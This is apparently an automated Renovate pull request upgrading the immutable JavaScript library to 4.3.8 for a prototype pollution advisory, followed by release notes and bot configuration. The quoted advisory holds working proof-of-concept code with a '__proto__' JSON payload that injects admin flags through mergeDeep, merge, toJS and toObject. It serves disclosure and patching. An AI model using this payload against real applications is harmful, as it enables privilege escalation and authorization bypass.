fix(deps): update dependency immutable to v4.3.8 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
immutable (source)	4.0.0 → 4.3.8

---

Immutable is vulnerable to Prototype Pollution

CVE-2026-29063 / GHSA-wf6x-7x77-mvgw

More information

Details

Impact

What kind of vulnerability is it? Who is impacted?

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

Affected APIs

API	Notes
mergeDeep(target, source)	Iterates source keys via ObjectSeq, assigns merged[key]
mergeDeepWith(merger, target, source)	Same code path
merge(target, source)	Shallow variant, same assignment logic
Map.toJS()	object[k] = v in toObject() with no __proto__ guard
Map.toObject()	Same toObject() implementation
Map.mergeDeep(source)	When source is converted to plain object

Patches

Has the problem been patched? What versions should users upgrade to?

major version	patched version
3.x	3.8.3
4.x	4.3.7
5.x	5.1.5

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

• Validate user input
• Node.js flag --disable-proto
• Lock down built-in objects
• Avoid lookups on the prototype
• Create JavaScript objects with null prototype

Proof of Concept

PoC 1 — mergeDeep privilege escalation

"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
  '{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve   (updated correctly)
console.log("merged.role:", merged.role); // user  (own property wins)
console.log("merged.admin:", merged.admin); // true  ← INJECTED via __proto__!

// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true  ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)

// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true

PoC 2 — All affected APIs

"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");

const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');

// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true

// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true

// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true

// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true

// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true

// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true

// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)

Verified output against immutable@5.1.4:

mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined  ← global Object.prototype NOT polluted

References

Are there any links users can visit to find out more?

• JavaScript prototype pollution

Severity

• CVSS Score: 8.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw
• https://github.com/immutable-js/immutable-js/commit/16b3313fdf2c5f579f10799e22869f6909abf945
• https://github.com/immutable-js/immutable-js/commit/6ed4eb626906df788b08019061b292b90bc718cb
• https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8
• https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5
• https://github.com/immutable-js/immutable-js/issues/2178
• https://github.com/immutable-js/immutable-js/commit/6e2cf1cfe6137e72dfa48fc2cfa8f4d399d113f9
• https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3
• https://nvd.nist.gov/vuln/detail/CVE-2026-29063
• https://github.com/advisories/GHSA-wf6x-7x77-mvgw

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

immutable-js/immutable-js (immutable)

v4.3.8

Compare Source

Fix Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable

v4.3.7

Compare Source

• Fix issue with slice negative of filtered sequence #​2006 by @​jdeniau

v4.3.6

Compare Source

• Fix Repeat(<value>).equals(undefined) incorrectly returning true #​1994 by @​butchler

v4.3.5

Compare Source

• Upgrade to TS 5.1 #​1972 by @​jdeniau
• Fix Set.fromKeys types with Map constructor in TS 5.0 #​1971 by @​jdeniau
• Fix Read the Docs link on readme #​1970 by @​joshding

v4.3.4

Compare Source

• Rollback toJS type due to circular reference error #​1958 by @​jdeniau

v4.3.3

Compare Source

• [typescript] manage to handle toJS circular reference. #​1932 by @​jdeniau
• [doc] Add install instructions for pnpm and Bun #​1952 by @​colinhacks and #​1953 by @​menglingyu659

v4.3.2

Compare Source

• [TypeScript] Fix isOrderedSet type #​1948

v4.3.1

Compare Source

• Faster and implementation of some #​1944
• [internal] remove unused exports #​1928

v4.3.0

Compare Source

• Introduce Comparator and PairSorting #​1937 by @​https://github.com/giancosta86
• [TypeScript] Fix fromJS declaration for greater compatibility #​1936

v4.2.4

Compare Source

• [TypeScript] Improve type infererence for from JS by KSXGitHub #​1927

v4.2.3

Compare Source

• [TypeScript] groupBy return either a Map or an OrderedMap: make the type more precise than base Collection #​1924

v4.2.2

Compare Source

• [Flow] Add type for partition method #​1920 by Dagur

v4.2.1

Compare Source

• [Typescript] rollback some of the change on toJS to avoir circular reference

v4.2.0

Compare Source

• [TypeScript] Better type for toJS #​1917 by jdeniau
  • [TS Minor Break] tests are ran with TS > 4.5 only. It was tested with TS > 2.1 previously, but we want to level up TS types with recent features. TS 4.5 has been released more than one year before this release. If it does break your implementation (it might not), you should probably consider upgrading to the latest TS version.
• Added a partition method to all containers #​1916 by johnw42

v4.1.0

Compare Source

• Accept Symbol as Map key. #​1859 by jdeniau
• Optimize contructors without arguments #​1887 by marianoguerra
• Fix Flow removeIn types #​1902 by nifgraup
• Fix bug in Record.equals when comparing against Map #​1903 by jmtoung

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.